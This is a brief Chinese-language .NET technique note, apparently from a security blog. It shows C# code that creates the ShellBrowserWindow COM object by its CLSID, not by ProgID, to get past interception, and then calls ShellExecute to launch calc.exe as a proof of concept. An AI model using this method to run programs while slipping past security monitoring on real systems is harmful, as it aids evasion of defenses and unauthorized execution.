.NET通过Type.GetTypeFromCLSID获取组件的 CLSID,CLSID 是一个唯一标识符,用于标识 组件,如果遇到某些拦截的场景,可以使用GetTypeFromCLSID替代GetTypeFromProgID,这样做的好处传递的组件的方式从名称转成唯一标识符,例如ShellBrowserWindow API 的CLSID值为 C08AFD90-F2A1-11D1-8455-00A0C91F3880
Type wshType = Type.GetTypeFromCLSID(new Guid("C08AFD90-F2A1-11D1-8455-00A0C91F3880"));
dynamic wsh = Activator.CreateInstance(wshType);
wsh.Document.Application.ShellExecute("calc.exe");
如何获取CLSID的值,可以用oleview查看,如图1
运行后弹出计算器